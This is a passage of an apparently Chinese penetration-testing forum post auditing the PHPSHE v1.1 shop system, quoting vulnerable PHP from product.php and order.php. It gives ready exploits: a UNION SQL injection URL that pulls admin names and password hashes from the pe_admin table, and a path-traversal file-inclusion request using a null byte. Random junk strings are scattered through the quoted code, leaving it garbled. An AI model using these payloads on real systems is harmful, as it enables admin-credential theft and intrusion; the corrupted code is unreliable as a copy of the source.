0×02 搜索注入
* S8 {, O, ], T% F# E7 H
<code id="code2">
//product.php文件
case 'list':
$category_id = intval($id);# Z- V8 F- s6 x
$info = $db->pe_select('category', array('category_id'=>$category_id));$ i+ Q& \* v" O" G- }0 b% e
//搜索3 W2 n- n! A" r3 {4 X0 J8 r
$sqlwhere = " and `product_state` = 1";: G. G) K1 o. g/ H! ]; O
pe_lead('hook/category.hook.php');( n5 N1 T9 L1 U- R) q, ~
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {$ s: F {# P) c. k) ~
$orderby = explode('_', $_g_orderby);% D: T5 E/ W0 q" i. u* z: ~# V
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";/ A* B) I+ v$ m6 A; o8 G1 l
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行+ ?- s& M+ i! |2 W# J% L& u
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));7 G8 u9 ?0 e1 Q8 [# I( v
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())$ |& C T" u6 i# P( F& i; x4 U t
{
//处理条件语句) y. y! B0 C& P8 C% x; j6 L
$sqlwhere = $this->_dowhere($where);; x0 e9 Y" C# C/ z- P* V Z# B! r
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);' [4 O# X0 w8 Y3 I% w
}( ]% d; q+ I' M8 x
//exp5 Y$ y) t2 C$ D, j) ^- _' a
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
</code>4 O# d& z1 J6 M- L
0×03 包含漏洞2
<code id="code3">
//order.php
case 'pay':
5 S; \; { ~+ m7 l. l N7 b9 K' [
$order_id = pe_dbhold($_g_id);
% o5 d- u6 j' l2 Y( D- { f
$cache_payway = cache::get('payway');
1 h9 Q @) C2 k. ` H% l
foreach($cache_payway as $k => $v) {
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);
if ($k == 'bank') {
. n# J: q" p$ ?1 [8 I5 b
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);
}
}
2 {8 `9 a8 c& \7 e5 U. E5 K# R7 Y
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));
!$order['order_id'] && pe_error('订单号错误...');
# V. e+ \1 |4 R; v) L- _
if (isset($_p_pesubmit)) {
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {
# o. m% |, T5 _0 d+ U! A
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
foreach ($info_list as $v) {
# d( Y" r/ l, d, _
$order['order_name'] .= "{$v['product_name']};";
4 T/ m ?% z9 s- r k- Y
}
. n7 ~6 A* L1 A1 G! e
echo '正在为您连接支付网站,请稍后...';
! b2 D! h9 z. I/ H( A
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");
}//当一切准备好的时候就可以进行"鸡肋包含了"
- u8 e3 `/ q# u* o4 k
else {
( f2 X' q2 o2 Z/ ~* v
pe_error('支付错误...');
}
* b- l% \ j3 o: B
}
0 Q# N; `1 o% C7 G4 I3 Q
$seo = pe_seo('选择支付方式');
+ H$ c9 x$ P5 L x6 G. e
include(pe_tpl('order_pay.html'));
break;
}
//exp:
//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001
//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>; V% e* @: \: ~# B$ j1 @
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |